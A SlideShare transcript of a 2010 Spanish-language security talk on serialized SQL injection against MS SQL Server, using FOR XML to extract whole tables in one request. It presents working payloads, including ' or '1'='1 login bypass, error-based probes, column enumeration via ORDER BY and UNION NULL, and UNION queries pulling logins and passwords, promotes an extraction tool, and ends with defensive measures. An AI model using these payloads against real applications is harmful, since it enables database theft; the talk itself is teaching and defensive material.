SlideShare a Scribd company logo
1 of 32
SFX-SQLiSelect For Xml SQLinjection  /  Serialized SQL injectionExtracción rápida de información utilizando inyección SQL con instrucciones XML Daniel Kachakil Asegur@IT  7 24/03/2010 – Barcelona
Contenido ¿Qué es la inyección SQL? Técnicas de inyección SQL clásicas Serialización y la cláusula FOR XML Obtención de columnas y tipos Ajuste de la inyección Ejemplos y demos 2
SQL injection
¿Qué es la inyección SQL? Vulnerabilidad de aplicaciones informáticas Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos 4
¿Qué es la inyección SQL? 5 ASP/PHP/JSP/... <%  cmd =  "SELECT * FROM…"   %> GET/ SGBD SQL POST Datos HTML Pero no es exclusiva de aplicaciones web
Ataques a la seguridad Integridad: Borrado o corrupción de datos  UPDATE, DELETE, INSERT, DROP, ... Disponibilidad: Denegación de servicio SHUTDOWN, consultas complejas, exploits, ... Confidencialidad: Acceso a datos privados Bypass de autenticación (' or '1'='1) A ciegas (Blind SQL injection)  A través de mensajes de error Anexando otros conjuntos de datos 6
Inyección SQL básica Usuario: ' or '1'='1 Contraseña: ' or '1'='1 "SELECT * FROMUsuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'" 7
Inyección SQL básica "SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'" La condición WHERE siempre es cierta Devuelve toda la tabla de usuarios El primer registro suele coincidir con el del administrador 8
Inyección SQL a ciegas Booleanización: más eficiente con búsqueda binaria EXISTS (SELECT … WHERE n < 128)  V EXISTS (SELECT … WHERE n < 64)  V EXISTS (SELECT … WHERE n < 32)  F EXISTS (SELECT … WHERE n < 48)  V EXISTS (SELECT … WHERE n < 40)  F EXISTS (SELECT … WHERE n < 44)  F EXISTS (SELECT … WHERE n < 46)  F EXISTS (SELECT … WHERE n < 47)  V Conclusión: n=46 9
Ejemplo: Absinthe 10
Inyección SQL basada en errores "SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'" 11
Inyección SQL basada en errores "SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'" 12
Inyección SQL anexando datos "SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, nullFROMUsers" 13
La cláusula FOR XML
FOR XML (MS SQL Server 2005/2008) "SELECT * FROMNumeros" "SELECT * FROMNumerosFOR XML RAW" 15
Anexando una tabla en un campo "SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)" 16
Sintaxis de FOR XML FOR XML  {  { RAW [ ( 'ElementName' ) ] | AUTO }      [          <CommonDirectives>          [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ]          [ , ELEMENTS [ XSINIL | ABSENT ]      ]   |  EXPLICIT … |  PATH … }    <CommonDirectives> ::=  [ , BINARY BASE64] [ , TYPE ] [ , ROOT [ ( 'RootName' ) ] ] 17
Obtención del númerode columnas
GROUPBY / HAVING 1=1 HAVING 1=1 Error (cuyo texto revela el nombre de la primera columna) GROUPBYcolumna1HAVING 1=1 Error con el nombre de la segunda columna GROUPBYcolumna1, columna2HAVING 1=1 Error con el nombre de la tercera columna ... GROUPBYcolumna1, columna2, columna3, … , columnaNHAVING 1=1 Sin errores 19
ORDERBY N ORDERBY 1 Sin errores ORDERBY 2 Sin errores ... ORDERBY N Sin errores ORDERBYN+1 Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary) 20
UNIONNULL UNIONSELECTnullWHERE 0=1 Falla UNION SELECT null, null WHERE 0=1 Falla UNION SELECT null, null, null WHERE 0=1 Falla ... UNION SELECT null, null, null, null, … , null WHERE 0=1 Sin errores 21
Obtención del tipode datos
Obtención del tipo de datos Basta con encontrar una columna de tipo texto char, varchar, nvarchar, ... Si muestra errores:  CAST(), CONVERT() En otro caso:  UNIONSELECTnull, null, 'a', null, null, ... [WHERE 1=0] 23
Juntando las piezas
Extracción serializando datos … AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN 25
SFX-SQLiTool
SFX-SQLiTool 1.0 Capaz de extraer tablas completas con una sola petición Inyecciones GET y POST. SSL, cookies, proxy, etc Si las tablas son muy grandes, las puede segmentar Implementa todas las técnicas descritas antes Ayuda al descubrimiento de columnas y tipos Deshace la codificación HTML automáticamente Log de todo lo que inyecta y de las respuestas Visualización en explorador integrado y código fuente 27
Novedades en SFX-SQLiTool 1.1 Acceso completo a otras bases de datos del mismo servidor a través de la master Ejecución de consultas personalizadas Ajustes de configuración avanzada Pequeñas mejoras y correcciones 28
Medidas de protección
Medidas de protección Las de siempre: filtrar todas las entradas al gestor de bases de datos Forzando la conversión de tipos para entradas numéricas Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple) Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc) 30
Medidas de protección Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando Consultas SQL parametrizadas, filtros predefinidos, etc. Aplicar el principio de menor privilegio Limita las consecuencias ante un ataque exitoso No dar información detallada sobre los errores “Contraseña incorrecta para el usuario usuario” “Error al conectar con la base de datos mibasededatos” Response.Write(ex.ToString()) en bloques Try - Catch 31
Descarga de la herramienta y más información en mi web: http://www.kachakil.com Daniel Kachakil dani@kachakil.com ¡Muchas gracias!

More Related Content

What's hot

Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Alexander Calderón
 
Java Basico-Ficheros
Java Basico-FicherosJava Basico-Ficheros
Java Basico-Ficherosflromero_s
 
Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Juan Anaya
 
Sentencia SQL INSERT
Sentencia SQL INSERTSentencia SQL INSERT
Sentencia SQL INSERTEmerson Garay
 
Objetos de Esquema de Oracle Database Z052-09
Objetos de Esquema de Oracle Database Z052-09Objetos de Esquema de Oracle Database Z052-09
Objetos de Esquema de Oracle Database Z052-09Alexander Calderón
 

What's hot (9)

Practicas
PracticasPracticas
Practicas
 
Ejercicio
EjercicioEjercicio
Ejercicio
 
Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11Utilizando DDL SQL oracle Z051 Cap 11
Utilizando DDL SQL oracle Z051 Cap 11
 
Java Basico-Ficheros
Java Basico-FicherosJava Basico-Ficheros
Java Basico-Ficheros
 
Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.Inserción, eliminación y modificación de Registros II.
Inserción, eliminación y modificación de Registros II.
 
Fundamentos de SELECT SQL
Fundamentos de SELECT SQLFundamentos de SELECT SQL
Fundamentos de SELECT SQL
 
Sentencia SQL INSERT
Sentencia SQL INSERTSentencia SQL INSERT
Sentencia SQL INSERT
 
Objetos de Esquema de Oracle Database Z052-09
Objetos de Esquema de Oracle Database Z052-09Objetos de Esquema de Oracle Database Z052-09
Objetos de Esquema de Oracle Database Z052-09
 
Tema02 sqlite studio
Tema02 sqlite studioTema02 sqlite studio
Tema02 sqlite studio
 

Viewers also liked

Default Passwords: Adelante por favor
Default Passwords: Adelante por favorDefault Passwords: Adelante por favor
Default Passwords: Adelante por favorChema Alonso
 
Circuitos de Video Vigilancia IP
Circuitos de Video Vigilancia IPCircuitos de Video Vigilancia IP
Circuitos de Video Vigilancia IPChema Alonso
 
Navegadores en la Empresa
Navegadores en la EmpresaNavegadores en la Empresa
Navegadores en la EmpresaChema Alonso
 
Portátiles A Prueba De Robos
Portátiles A Prueba De RobosPortátiles A Prueba De Robos
Portátiles A Prueba De RobosChema Alonso
 
MS Forefront Client Security
MS Forefront Client SecurityMS Forefront Client Security
MS Forefront Client SecurityChema Alonso
 
Fortificación de MS SharePon
Fortificación de MS SharePonFortificación de MS SharePon
Fortificación de MS SharePonChema Alonso
 
Seguridad en Apache Web Server
Seguridad en Apache Web ServerSeguridad en Apache Web Server
Seguridad en Apache Web ServerChema Alonso
 
Seguridad en Navegadores
Seguridad en NavegadoresSeguridad en Navegadores
Seguridad en NavegadoresChema Alonso
 
Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksChema Alonso
 
Apadrina un malware
Apadrina un malwareApadrina un malware
Apadrina un malwareChema Alonso
 
RootedCON 2011: DUST
RootedCON 2011: DUSTRootedCON 2011: DUST
RootedCON 2011: DUSTChema Alonso
 
Hacking, Ciberguerra y otros Palabros
Hacking, Ciberguerra y otros PalabrosHacking, Ciberguerra y otros Palabros
Hacking, Ciberguerra y otros PalabrosChema Alonso
 
MetaShield Protector & FOCA 2.0
MetaShield Protector & FOCA 2.0MetaShield Protector & FOCA 2.0
MetaShield Protector & FOCA 2.0Chema Alonso
 
Asegúr@IT 7 - Forefront UAG 2010
Asegúr@IT 7 - Forefront UAG 2010Asegúr@IT 7 - Forefront UAG 2010
Asegúr@IT 7 - Forefront UAG 2010Chema Alonso
 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL InjectionCodemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL InjectionChema Alonso
 
Hachetetepé dos puntos SLAAC SLAAC
Hachetetepé dos puntos SLAAC SLAACHachetetepé dos puntos SLAAC SLAAC
Hachetetepé dos puntos SLAAC SLAACChema Alonso
 
FC00::1 (Algunos) Ataques en IPv6
FC00::1 (Algunos) Ataques en IPv6FC00::1 (Algunos) Ataques en IPv6
FC00::1 (Algunos) Ataques en IPv6Chema Alonso
 
WebBrowsing Fingerprinting y Privacidad en entornos de Big Data
WebBrowsing Fingerprinting y Privacidad en entornos de Big DataWebBrowsing Fingerprinting y Privacidad en entornos de Big Data
WebBrowsing Fingerprinting y Privacidad en entornos de Big DataChema Alonso
 
XSS Google Persistentes
XSS Google PersistentesXSS Google Persistentes
XSS Google PersistentesChema Alonso
 

Viewers also liked (20)

Default Passwords: Adelante por favor
Default Passwords: Adelante por favorDefault Passwords: Adelante por favor
Default Passwords: Adelante por favor
 
Circuitos de Video Vigilancia IP
Circuitos de Video Vigilancia IPCircuitos de Video Vigilancia IP
Circuitos de Video Vigilancia IP
 
Navegadores en la Empresa
Navegadores en la EmpresaNavegadores en la Empresa
Navegadores en la Empresa
 
Portátiles A Prueba De Robos
Portátiles A Prueba De RobosPortátiles A Prueba De Robos
Portátiles A Prueba De Robos
 
MS Forefront Client Security
MS Forefront Client SecurityMS Forefront Client Security
MS Forefront Client Security
 
Fortificación de MS SharePon
Fortificación de MS SharePonFortificación de MS SharePon
Fortificación de MS SharePon
 
Seguridad en Apache Web Server
Seguridad en Apache Web ServerSeguridad en Apache Web Server
Seguridad en Apache Web Server
 
Seguridad en Navegadores
Seguridad en NavegadoresSeguridad en Navegadores
Seguridad en Navegadores
 
Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution Attacks
 
Apadrina un malware
Apadrina un malwareApadrina un malware
Apadrina un malware
 
RootedCON 2011: DUST
RootedCON 2011: DUSTRootedCON 2011: DUST
RootedCON 2011: DUST
 
Hacking, Ciberguerra y otros Palabros
Hacking, Ciberguerra y otros PalabrosHacking, Ciberguerra y otros Palabros
Hacking, Ciberguerra y otros Palabros
 
MetaShield Protector & FOCA 2.0
MetaShield Protector & FOCA 2.0MetaShield Protector & FOCA 2.0
MetaShield Protector & FOCA 2.0
 
Asegúr@IT 7 - Forefront UAG 2010
Asegúr@IT 7 - Forefront UAG 2010Asegúr@IT 7 - Forefront UAG 2010
Asegúr@IT 7 - Forefront UAG 2010
 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL InjectionCodemotion 2013: Feliz 15 aniversario, SQL Injection
Codemotion 2013: Feliz 15 aniversario, SQL Injection
 
Defcon 18: FOCA 2
Defcon 18: FOCA 2Defcon 18: FOCA 2
Defcon 18: FOCA 2
 
Hachetetepé dos puntos SLAAC SLAAC
Hachetetepé dos puntos SLAAC SLAACHachetetepé dos puntos SLAAC SLAAC
Hachetetepé dos puntos SLAAC SLAAC
 
FC00::1 (Algunos) Ataques en IPv6
FC00::1 (Algunos) Ataques en IPv6FC00::1 (Algunos) Ataques en IPv6
FC00::1 (Algunos) Ataques en IPv6
 
WebBrowsing Fingerprinting y Privacidad en entornos de Big Data
WebBrowsing Fingerprinting y Privacidad en entornos de Big DataWebBrowsing Fingerprinting y Privacidad en entornos de Big Data
WebBrowsing Fingerprinting y Privacidad en entornos de Big Data
 
XSS Google Persistentes
XSS Google PersistentesXSS Google Persistentes
XSS Google Persistentes
 

Similar to Asegúr@IT 7: Serialized SQL Injection

Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Eduardo Castro
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todoscsaralg
 
SQL Injection Joinea 2010
SQL Injection Joinea 2010SQL Injection Joinea 2010
SQL Injection Joinea 2010magnobalt
 
Primeros Pasos Aplicacion Java conexión BD Mysql
Primeros Pasos Aplicacion Java conexión BD MysqlPrimeros Pasos Aplicacion Java conexión BD Mysql
Primeros Pasos Aplicacion Java conexión BD MysqlEmerson Garay
 
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)toshko86
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Eduardo Arriols Nuñez
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
ManualPracticoSQL.pdf
ManualPracticoSQL.pdfManualPracticoSQL.pdf
ManualPracticoSQL.pdfJenny29068
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4cognos_uie
 

Similar to Asegúr@IT 7: Serialized SQL Injection (20)

(In) seguridad web
(In) seguridad web(In) seguridad web
(In) seguridad web
 
Seguridad En Programación
Seguridad En ProgramaciónSeguridad En Programación
Seguridad En Programación
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 
SQL Injection Joinea 2010
SQL Injection Joinea 2010SQL Injection Joinea 2010
SQL Injection Joinea 2010
 
Primeros Pasos Aplicacion Java conexión BD Mysql
Primeros Pasos Aplicacion Java conexión BD MysqlPrimeros Pasos Aplicacion Java conexión BD Mysql
Primeros Pasos Aplicacion Java conexión BD Mysql
 
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
 
Taller 080364 sgbd-0102 - java&amp;postgre sql
Taller 080364 sgbd-0102 - java&amp;postgre sqlTaller 080364 sgbd-0102 - java&amp;postgre sql
Taller 080364 sgbd-0102 - java&amp;postgre sql
 
Connection
ConnectionConnection
Connection
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]Hacking ético en aplicaciones web [SQL Injection]
Hacking ético en aplicaciones web [SQL Injection]
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Guía herramientas de BD PHP
Guía herramientas de BD PHPGuía herramientas de BD PHP
Guía herramientas de BD PHP
 
Charla Mysql
Charla MysqlCharla Mysql
Charla Mysql
 
Tema 3.2 SQL.ppt
Tema 3.2 SQL.pptTema 3.2 SQL.ppt
Tema 3.2 SQL.ppt
 
Tema 3.2 SQL.ppt
Tema 3.2 SQL.pptTema 3.2 SQL.ppt
Tema 3.2 SQL.ppt
 
Guia herramientas de bd
Guia herramientas de bdGuia herramientas de bd
Guia herramientas de bd
 
SQLite3
SQLite3SQLite3
SQLite3
 
ManualPracticoSQL.pdf
ManualPracticoSQL.pdfManualPracticoSQL.pdf
ManualPracticoSQL.pdf
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
 

More from Chema Alonso

CyberCamp 2015: Low Hanging Fruit
CyberCamp 2015: Low Hanging FruitCyberCamp 2015: Low Hanging Fruit
CyberCamp 2015: Low Hanging FruitChema Alonso
 
Índice Pentesting con Kali 2.0
Índice Pentesting con Kali 2.0Índice Pentesting con Kali 2.0
Índice Pentesting con Kali 2.0Chema Alonso
 
Configurar y utilizar Latch en Magento
Configurar y utilizar Latch en MagentoConfigurar y utilizar Latch en Magento
Configurar y utilizar Latch en MagentoChema Alonso
 
Cazando Cibercriminales con: OSINT + Cloud Computing + Big Data
Cazando Cibercriminales con: OSINT + Cloud Computing + Big DataCazando Cibercriminales con: OSINT + Cloud Computing + Big Data
Cazando Cibercriminales con: OSINT + Cloud Computing + Big DataChema Alonso
 
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...New Paradigms of Digital Identity: Authentication & Authorization as a Servic...
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...Chema Alonso
 
CritoReto 4: Buscando una aguja en un pajar
CritoReto 4: Buscando una aguja en un pajarCritoReto 4: Buscando una aguja en un pajar
CritoReto 4: Buscando una aguja en un pajarChema Alonso
 
Dorking & Pentesting with Tacyt
Dorking & Pentesting with TacytDorking & Pentesting with Tacyt
Dorking & Pentesting with TacytChema Alonso
 
Pentesting con PowerShell: Libro de 0xWord
Pentesting con PowerShell: Libro de 0xWordPentesting con PowerShell: Libro de 0xWord
Pentesting con PowerShell: Libro de 0xWordChema Alonso
 
Recuperar dispositivos de sonido en Windows Vista y Windows 7
Recuperar dispositivos de sonido en Windows Vista y Windows 7Recuperar dispositivos de sonido en Windows Vista y Windows 7
Recuperar dispositivos de sonido en Windows Vista y Windows 7Chema Alonso
 
It's a Kind of Magic
It's a Kind of MagicIt's a Kind of Magic
It's a Kind of MagicChema Alonso
 
Ingenieros y hackers
Ingenieros y hackersIngenieros y hackers
Ingenieros y hackersChema Alonso
 
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...Chema Alonso
 
Auditoría de TrueCrypt: Informe final fase II
Auditoría de TrueCrypt: Informe final fase IIAuditoría de TrueCrypt: Informe final fase II
Auditoría de TrueCrypt: Informe final fase IIChema Alonso
 
El juego es el mismo
El juego es el mismoEl juego es el mismo
El juego es el mismoChema Alonso
 
El Hardware en Apple ¿Es tan bueno?
El Hardware en Apple ¿Es tan bueno?El Hardware en Apple ¿Es tan bueno?
El Hardware en Apple ¿Es tan bueno?Chema Alonso
 
Latch en Linux (Ubuntu): El cerrojo digital
Latch en Linux (Ubuntu): El cerrojo digitalLatch en Linux (Ubuntu): El cerrojo digital
Latch en Linux (Ubuntu): El cerrojo digitalChema Alonso
 
Hacking con Python
Hacking con PythonHacking con Python
Hacking con PythonChema Alonso
 
Tu iPhone es tan (in)seguro como tu Windows
Tu iPhone es tan (in)seguro como tu WindowsTu iPhone es tan (in)seguro como tu Windows
Tu iPhone es tan (in)seguro como tu WindowsChema Alonso
 

More from Chema Alonso (20)

CyberCamp 2015: Low Hanging Fruit
CyberCamp 2015: Low Hanging FruitCyberCamp 2015: Low Hanging Fruit
CyberCamp 2015: Low Hanging Fruit
 
Índice Pentesting con Kali 2.0
Índice Pentesting con Kali 2.0Índice Pentesting con Kali 2.0
Índice Pentesting con Kali 2.0
 
Configurar y utilizar Latch en Magento
Configurar y utilizar Latch en MagentoConfigurar y utilizar Latch en Magento
Configurar y utilizar Latch en Magento
 
Cazando Cibercriminales con: OSINT + Cloud Computing + Big Data
Cazando Cibercriminales con: OSINT + Cloud Computing + Big DataCazando Cibercriminales con: OSINT + Cloud Computing + Big Data
Cazando Cibercriminales con: OSINT + Cloud Computing + Big Data
 
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...New Paradigms of Digital Identity: Authentication & Authorization as a Servic...
New Paradigms of Digital Identity: Authentication & Authorization as a Servic...
 
CritoReto 4: Buscando una aguja en un pajar
CritoReto 4: Buscando una aguja en un pajarCritoReto 4: Buscando una aguja en un pajar
CritoReto 4: Buscando una aguja en un pajar
 
Dorking & Pentesting with Tacyt
Dorking & Pentesting with TacytDorking & Pentesting with Tacyt
Dorking & Pentesting with Tacyt
 
Pentesting con PowerShell: Libro de 0xWord
Pentesting con PowerShell: Libro de 0xWordPentesting con PowerShell: Libro de 0xWord
Pentesting con PowerShell: Libro de 0xWord
 
Foca API v0.1
Foca API v0.1Foca API v0.1
Foca API v0.1
 
Recuperar dispositivos de sonido en Windows Vista y Windows 7
Recuperar dispositivos de sonido en Windows Vista y Windows 7Recuperar dispositivos de sonido en Windows Vista y Windows 7
Recuperar dispositivos de sonido en Windows Vista y Windows 7
 
It's a Kind of Magic
It's a Kind of MagicIt's a Kind of Magic
It's a Kind of Magic
 
Ingenieros y hackers
Ingenieros y hackersIngenieros y hackers
Ingenieros y hackers
 
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...
Cuarta Edición del Curso Online de Especialización en Seguridad Informática p...
 
Auditoría de TrueCrypt: Informe final fase II
Auditoría de TrueCrypt: Informe final fase IIAuditoría de TrueCrypt: Informe final fase II
Auditoría de TrueCrypt: Informe final fase II
 
El juego es el mismo
El juego es el mismoEl juego es el mismo
El juego es el mismo
 
El Hardware en Apple ¿Es tan bueno?
El Hardware en Apple ¿Es tan bueno?El Hardware en Apple ¿Es tan bueno?
El Hardware en Apple ¿Es tan bueno?
 
Latch en Linux (Ubuntu): El cerrojo digital
Latch en Linux (Ubuntu): El cerrojo digitalLatch en Linux (Ubuntu): El cerrojo digital
Latch en Linux (Ubuntu): El cerrojo digital
 
Hacking con Python
Hacking con PythonHacking con Python
Hacking con Python
 
Shuabang Botnet
Shuabang BotnetShuabang Botnet
Shuabang Botnet
 
Tu iPhone es tan (in)seguro como tu Windows
Tu iPhone es tan (in)seguro como tu WindowsTu iPhone es tan (in)seguro como tu Windows
Tu iPhone es tan (in)seguro como tu Windows
 

Recently uploaded

pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
Herramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxHerramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxRogerPrieto3
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 

Recently uploaded (15)

pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
Herramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptxHerramientas de corte de alta velocidad.pptx
Herramientas de corte de alta velocidad.pptx
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
